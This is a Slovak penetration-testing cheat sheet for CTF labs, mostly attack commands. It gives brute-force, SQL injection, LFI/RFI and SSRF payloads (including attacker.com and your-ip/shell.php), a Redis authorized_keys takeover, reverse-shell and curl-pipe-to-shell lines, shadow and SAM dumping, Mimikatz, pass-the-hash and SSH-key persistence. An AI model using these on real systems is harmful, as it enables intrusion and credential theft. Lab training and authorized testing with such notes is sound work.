Offensive Playbook – Penetration

Offensive Playbook – Útok

Vyhlásenie: Obsah slúži výhradne na vzdelávacie účely, tréning v kontrolovaných laboch (CTF, HTB, THM, VulnHub) a autorizované bezpečnostné testovanie s písomným súhlasom vlastníka systému. Neautorizované skenovanie, útok alebo zneužitie cudzích systémov je trestné. Autor nezodpovedá za zneužitie uvedených postupov tretími stranami.


  1. Fáza 1 – Recon
  2. Fáza 2 – Enumeration podľa portov
  3. Fáza 3 – Mám credentials
  4. Fáza 4 – Mám shell → PrivEsc
  1. Fáza 5 – Root / Administrator
  2. Web Application Checklist
  3. Zasekol som sa – čo teraz?

Fáza 1 – Recon

Cieľ: Zistiť čo najviac o cieli pred akýmkoľvek útokom.

Port Scan

# Základný scan s verziami a skriptami
nmap -sV -sC -oN nmap.txt 

# Všetky porty (pomalší, ale kompletný)
nmap -p- -T4 

# Zraniteľnosti
nmap --script=vuln 

# UDP scan (nezabudni!)
nmap -sU --top-ports 20 

# Agresívny scan (OS, verzie, skripty, traceroute)
nmap -A 

Checklist

Základný nmap scan

Full port scan (-p-)

Vuln scan

UDP scan

Zaznač všetky otvorené porty a verzie

Hľadaj zaujímavé bannery

Poznač OS (Linux/Windows)


Fáza 2 – Enumeration podľa portov

Pre každý otvorený port nasleduj príslušný postup.

Port Služba Postup
21 FTP → FTP
22 SSH → SSH
23 Telnet → Telnet
25 SMTP → SMTP
53 DNS → DNS
80 / 443 HTTP/S → Web
110 POP3 → POP3
139 / 445 SMB → SMB
1433 MSSQL → MSSQL
3306 MySQL → MySQL
3389 RDP → RDP
5985 WinRM → WinRM
6379 Redis → Redis
8080 HTTP alt → Web
27017 MongoDB → MongoDB

FTP (Port 21)

# Anonymous login – prvá vec ktorú skúsiš
ftp 
# Username: anonymous
# Password: anonymous (alebo prázdne)

# Bruteforce
hydra -l user -P /usr/share/wordlists/rockyou.txt ftp://

# Stiahni všetko rekurzívne
wget -r ftp://anonymous:anonymous@/

# NSE skripty
nmap --script ftp-anon,ftp-bounce,ftp-syst -p 21 

Checklist:

Anonymous login

Stiahni všetky súbory

Hľadaj credentials v súboroch

Skús upload (ak má write prístup)

Bruteforce ak žiadny anonymous


SSH (Port 22)

# Banner grab
nc -nv  22

# Auth metódy
nmap -p 22 --script ssh-auth-methods --script-args="ssh.user=root" 

# Pripojenie
ssh user@
ssh -i id_rsa user@
chmod 600 id_rsa

# Bruteforce
hydra -l user -P /usr/share/wordlists/rockyou.txt ssh:// -t 4
medusa -h  -u user -P rockyou.txt -M ssh

# Crack zaheslovaného id_rsa
ssh2john id_rsa > hash.txt
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

# Username enumeration (OpenSSH < 7.7)
python3 ssh_user_enum.py --userList users.txt --hostname 

Checklist:

Skús default/obvious credentials

Hľadaj id_rsa kľúče kdekoľvek na cieli

Bruteforce (pomalé, skús iné vektory najprv)

Skontroluj verziu → searchsploit


Telnet (Port 23)

telnet 

# Bruteforce
hydra -l admin -P /usr/share/wordlists/rockyou.txt telnet://

Checklist:

Anonymous / default login (admin:admin, admin:password)

Bruteforce

Nešifrované – sniff traffic ak si v sieti


SMTP (Port 25)

# Manuálna enumerácia
nc -nv  25
EHLO test
VRFY root
VRFY admin

# Username enumeration
smtp-user-enum -M VRFY -U users.txt -t 
smtp-user-enum -M RCPT -U users.txt -t 

# NSE skripty
nmap --script smtp-enum-users,smtp-open-relay -p 25 

Checklist:

VRFY / RCPT enumeration usernames

Open relay test

Phishing ak máš valid usernames

Hľadaj verziu → searchsploit


DNS (Port 53)

# Zone transfer – najdôležitejšie
dig axfr @ 
host -l  

# Základná enumerácia
dig any  @
nslookup -type=any  

# Subdomain bruteforce
gobuster dns -d  -w /usr/share/wordlists/subdomains.txt
dnsrecon -d  -t brt -D /usr/share/wordlists/subdomains.txt

Checklist:

Zone transfer (AXFR)

Reverse lookup

Subdomain bruteforce

Hľadaj interné domény/hosty


HTTP/S (Port 80/443)

# Directory bruteforce
gobuster dir -u http:// -w /usr/share/wordlists/dirb/common.txt -x php,html,txt
gobuster dir -u http:// -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
feroxbuster -u http:// -w /usr/share/wordlists/dirb/common.txt

# Nikto scan
nikto -h http://

# Whatweb – fingerprint
whatweb http://

# Skontroluj
curl -I http://                   # HTTP hlavičky
curl http:///robots.txt
curl http:///.git/HEAD            # Git expozícia

# SQL Injection – manuálne
' OR '1'='1
' OR '1'='1'--
admin'--

# SQLMap
sqlmap -u "http:///page?id=1" --dbs
sqlmap -u "http:///page?id=1" -D dbname --tables
sqlmap -u "http:///page?id=1" -D dbname -T users --dump

# LFI / Path Traversal
http:///page?file=../../../etc/passwd
http:///page?file=....//....//....//etc/passwd
http:///page?file=php://filter/convert.base64-encode/resource=index.php

# RFI
http:///page?file=http://your-ip/shell.php

# CMS skeny
wpscan --url http:// --enumerate u,p,t     # WordPress
joomscan --url http://                      # Joomla
droopescan scan drupal -u http://           # Drupal

Checklist:

robots.txt, sitemap.xml, .git, .env, backup.zip

Directory/file bruteforce

Nikto scan

Zdrojový kód stránky (Ctrl+U)

Formuláre → SQLi, XSS

Upload funkcia → file upload bypass

Cookies a JWT tokeny

LFI/RFI v parametroch

SSRF v URL parametroch

CMS detekcia → wpscan/joomscan

Burp Suite – intercept


POP3 (Port 110)

nc -nv  110
USER admin
PASS admin

# Bruteforce
hydra -l user -P rockyou.txt pop3://

SMB (Port 139/445)

# Enumerácia
nmap --script smb-enum-shares,smb-enum-users -p 445 
enum4linux -a 
enum4linux-ng -A 
smbmap -H 
smbmap -H  -u user -p password

# Anonymous/null session
smbclient -L // -N
smbclient ///share -N

# Prihlásenie s credentials
smbclient ///share -U user

# Mount share
mount -t cifs ///share /mnt/smb -o username=user,password=pass

# Exploits
nmap --script smb-vuln-ms17-010 -p 445      # EternalBlue
python3 eternalblue.py 

Checklist:

Null session enumerácia

Vypíš všetky shares

Stiahni všetko z prístupných shares

Hľadaj credentials v súboroch

EternalBlue check (MS17-010)

PrintNightmare, PetitPotam


MSSQL (Port 1433)

# Pripojenie
impacket-mssqlclient user:pass@
sqsh -S  -U user -P pass

# Enumerácia
nmap --script ms-sql-info,ms-sql-config -p 1433 

# xp_cmdshell (RCE ak je povolené)
EXEC xp_cmdshell 'whoami';
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

# Bruteforce
hydra -l sa -P rockyou.txt mssql://

Checklist:

SA (System Administrator) login – default prázdne heslo

xp_cmdshell aktivácia → RCE

Linked servers → pivot


MySQL (Port 3306)

# Pripojenie
mysql -u root -p -h 
mysql -u root --password='' -h 

# Enumerácia po prihlásení
show databases;
use ;
show tables;
select * from users;

# UDF – privilege escalation (ak root)
# Zapíš UDF knižnicu a spusti OS príkazy

# Bruteforce
hydra -l root -P rockyou.txt mysql://

RDP (Port 3389)

# Pripojenie
xfreerdp /u:user /p:pass /v:
xfreerdp /u:user /p:pass /v: /cert:ignore

# Bruteforce
hydra -l user -P rockyou.txt rdp:// -t 4
crowbar -b rdp -s /32 -u user -C rockyou.txt

# BlueKeep check (CVE-2019-0708)
nmap --script rdp-vuln-ms12-020 -p 3389 
python3 bluekeep.py 

# Pass-the-Hash (ak máš NTLM hash)
xfreerdp /u:user /pth: /v:

WinRM (Port 5985)

# Evil-WinRM (najpohodlnejší)
evil-winrm -i  -u user -p pass
evil-winrm -i  -u user -H 

# CrackMapExec
crackmapexec winrm  -u user -p pass

Redis (Port 6379)

# Pripojenie (zvyčajne bez auth)
redis-cli -h 
info
keys *
get 

# RCE cez SSH authorized_keys (ak redis beží ako root)
config set dir /root/.ssh
config set dbfilename authorized_keys
set x "\n\nssh-rsa AAAA... attacker@kali\n\n"
save

MongoDB (Port 27017)

# Pripojenie (zvyčajne bez auth)
mongo 
mongo :27017

# Enumerácia
show dbs
use 
show collections
db..find()

Fáza 3 – Mám credentials

Credentials môžeš získať z: bruteforce, súborov na FTP/SMB/web, databázy, konfigurákov.

# Skús credentials na VŠETKÝCH dostupných službách!
ssh user@
smbclient ///share -U user
mysql -u user -p -h 
xfreerdp /u:user /p:pass /v:
evil-winrm -i  -u user -p pass
ftp    # login s credentials

Password Reuse Checklist

SSH

SMB / smbclient

FTP

RDP

WinRM / Evil-WinRM

MySQL / MSSQL

HTTP login panel

sudo -l (Linux) – skús heslo

net user / net localgroup administrators (Windows)


Fáza 4 – Mám shell → PrivEsc

Stabilizácia shellu

# Python PTY
python3 -c 'import pty;pty.spawn("/bin/bash")'
python -c 'import pty;pty.spawn("/bin/bash")'

# Upgrade na plný interaktívny shell
export TERM=xterm
# Ctrl+Z
stty raw -echo; fg
stty rows 38 cols 116     # nastav veľkosť podľa tvojho terminálu

# Alternatíva – rlwrap
rlwrap nc -lvnp 4444

# Socat upgrade
socat file:`tty`,raw,echo=0 tcp-listen:4444
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp::4444

Linux PrivEsc

Automatická enumerácia

# LinPEAS – najkomplexnejší
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
# alebo stiahni a spusti
./linpeas.sh | tee linpeas.txt

# LinEnum
./LinEnum.sh

# linux-smart-enumeration
./lse.sh -l 1

Manuálna enumerácia

# Základné info
whoami; id; hostname; uname -a
cat /etc/passwd
cat /etc/os-release

# Sudo oprávnenia – KRITICKÉ
sudo -l

# SUID/SGID bity – KRITICKÉ
find / -perm -4000 -type f 2>/dev/null    # SUID
find / -perm -2000 -type f 2>/dev/null    # SGID

# Capabilities
getcap -r / 2>/dev/null

# Cron joby
cat /etc/crontab
ls -la /etc/cron*
crontab -l
# Pozri aj /var/spool/cron/

# Writable súbory/adresáre
find / -writable -type f 2>/dev/null | grep -v proc
find / -writable -type d 2>/dev/null

# Hľadaj credentials v konfigurakoch
grep -r "password" /etc/ 2>/dev/null
grep -r "password" /var/www/ 2>/dev/null
find / -name "*.conf" -o -name "*.config" -o -name "*.cfg" 2>/dev/null | xargs grep -l "pass" 2>/dev/null

# NFS shares (no_root_squash exploit)
cat /etc/exports
showmount -e 

# Bežiace procesy
ps aux
ps aux | grep root

# Sieťové pripojenia
netstat -tulnp
ss -tulnp

# Nainštalovaný software
dpkg -l
rpm -qa

# Kernel exploity
uname -r
# searchsploit linux kernel 

GTFOBins – sudo/SUID exploity

Ak vidíš niečo v sudo -l alebo ako SUID binary:
→ https://gtfobins.github.io/
→ Hľadaj binary → vyber sudo / SUID / Capabilities

Časté vektory

Vektor Príkaz/Postup
sudo vim sudo vim -c ':!/bin/bash'
sudo find sudo find . -exec /bin/bash \; -quit
sudo python sudo python3 -c 'import os;os.system("/bin/bash")'
SUID bash /bin/bash -p
Writable /etc/passwd Pridaj nového root usera
Writable cron script Vlož reverse shell
PATH hijacking Vytvor falošný binary v $PATH
Kernel exploit Skontroluj verziu → searchsploit

Windows PrivEsc

Automatická enumerácia

# WinPEAS
.\winPEASany.exe

# PowerUp
Import-Module .\PowerUp.ps1
Invoke-AllChecks

# Seatbelt
.\Seatbelt.exe -group=all

# JAWS
.\jaws-enum.ps1

Manuálna enumerácia

# Základné info
whoami /all
systeminfo
hostname
net user
net localgroup administrators

# Slabo nakonfigurované služby
sc query
icacls "C:\Program Files\SomeService\service.exe"
accesschk.exe -ucqv *

# AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# Unquoted service paths
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows"

# Scheduled tasks
schtasks /query /fo LIST /v

# Credentials v registri / súboroch
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
findstr /si password *.txt *.ini *.config *.xml

# SAM dump (lokálne)
reg save HKLM\SAM sam.bak
reg save HKLM\SYSTEM system.bak
impacket-secretsdump -sam sam.bak -system system.bak LOCAL

# PowerShell history
type C:\Users\user\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

Časté vektory

Vektor Postup
AlwaysInstallElevated Vytvor malicious .msi → spusti
Unquoted service path Umiestni binary do medzery v path
Weak service permissions Nahraď binary revershellom
Token impersonation PrintSpoofer, GodPotato, JuicyPotato
DLL hijacking Nahraď chýbajúci DLL
Stored credentials cmdkey /listrunas /savedcred
# Token impersonation (SeImpersonatePrivilege)
.\PrintSpoofer.exe -i -c cmd
.\GodPotato.exe -cmd "cmd /c whoami"
.\JuicyPotatoNG.exe -t * -p cmd.exe

Fáza 5 – Root / Administrator

Linux

# Vlajka
cat /root/root.txt
cat /home/*/user.txt

# Dump hesiel
cat /etc/shadow
unshadow /etc/passwd /etc/shadow > hashes.txt
john hashes.txt --wordlist=rockyou.txt

# SSH kľúče pre persistenciu
mkdir /root/.ssh
echo "ssh-rsa AAAA... attacker@kali" >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys

Windows

# Vlajka
type C:\Users\Administrator\Desktop\root.txt

# Dump hesiel
# Metasploit
hashdump

# Impacket (remote)
impacket-secretsdump administrator:pass@

# Mimikatz
.\mimikatz.exe
privilege::debug
sekurlsa::logonpasswords
lsadump::sam

# NTLM hashes → Pass-the-Hash
impacket-psexec -hashes :NTLM administrator@
evil-winrm -i  -u administrator -H 
crackmapexec smb  -u administrator -H 

Post-Exploitation Checklist

Zachyť vlajky (root.txt, user.txt)

Dump hashe / credentials

Hľadaj ďalšie credentials v súboroch

Skontroluj sieť – ďalšie hosty (pivoting)

arp -a / ip route – interná sieť

SSH tunneling / proxychains pre pivoting


Web Application Checklist

Rýchly postup

1. Fingerprint technológiu
2. Directory bruteforce
3. Hľadaj vstupné body (formuláre, parametre)
4. Testuj každý vstupný bod
5. Hľadaj autentifikačné nedostatky
6. Business logic testing

Nástroje

# Fingerprint
whatweb http://
wappalyzer (browser extension)

# Discovery
gobuster dir -u http:// -w /usr/share/wordlists/dirb/common.txt -x php,html,txt,bak
gobuster dir -u http:// -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
ffuf -w /usr/share/wordlists/dirb/common.txt -u http:///FUZZ

# Skryté parametre
ffuf -w params.txt -u "http:///page?FUZZ=value"
arjun -u http:///page

# Subdomény
gobuster vhost -u http:// -w /usr/share/wordlists/subdomains.txt
ffuf -w subdomains.txt -u http://FUZZ.

Zraniteľnosti

# SQL Injection
sqlmap -u "http:///?id=1" --dbs --batch
sqlmap -u "http:///" --forms --batch --crawl=5

# XSS – testovací payload

">


# LFI
?file=../../../etc/passwd
?file=....//....//etc/passwd
?file=/etc/passwd%00              # null byte (starší PHP)
?file=php://filter/convert.base64-encode/resource=config.php

# SSRF
?url=http://127.0.0.1:80
?url=http://169.254.169.254/latest/meta-data/    # AWS metadata
?redirect=http://attacker.com

# File Upload Bypass
# Zmeň extension: shell.php → shell.php.jpg → shell.phtml → shell.php5
# Zmeň Content-Type na image/jpeg
# Double extension: shell.jpg.php
# Null byte: shell.php%00.jpg

CMS Checklist

# WordPress
wpscan --url http:// --enumerate u          # usernames
wpscan --url http:// --enumerate p          # pluginy
wpscan --url http:// -U users.txt -P rockyou.txt  # bruteforce
# /wp-admin, /wp-login.php, /xmlrpc.php

# Joomla
joomscan --url http://
# /administrator

# Drupal
droopescan scan drupal -u http://
# /user/login

Zasekol som sa – čo teraz?

1. Spusti znovu nmap – možno si niečo prehliadol
2. Skontroluj verzie VŠETKÝCH služieb
   → searchsploit  
   → exploit-db.com
3. Google: "  exploit" / "CTF writeup "
4. Skontroluj či si nepreskočil nejaký port/adresár
5. Prečítaj znovu zadanie – hint býva v texte
6. Skús iné wordlisty (seclist, dirbuster medium/large)
7. Skús enumerate usernamy a password spray
8. Skontroluj UDP porty
# Väčší wordlist
gobuster dir -u http:// -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt

# Password spray (neopakuj bruteforce, skús top heslá)
crackmapexec ssh  -u users.txt -p /usr/share/seclists/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt

# Searchsploit
searchsploit  
searchsploit -x      # zobraz exploit
searchsploit -m      # stiahni exploit
TheOldOne · Miroslav Gensor ·